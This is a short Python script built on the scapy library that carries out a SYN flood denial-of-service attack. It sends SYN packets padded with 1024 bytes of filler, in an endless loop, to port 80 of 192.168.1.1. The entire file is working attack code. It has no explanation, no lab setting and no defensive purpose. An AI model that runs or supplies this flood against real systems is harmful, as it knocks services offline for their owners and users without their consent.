from scapy.all import *

def syn_flood(target_ip, target_port):
    ip = IP(dst=target_ip)
    tcp = TCP(dport=target_port, flags='S')
    raw = Raw(b"X"*1024)
    p = ip/tcp/raw
    send(p, loop=1, verbose=0)

target_ip = "192.168.1.1"
target_port = 80
syn_flood(target_ip, target_port)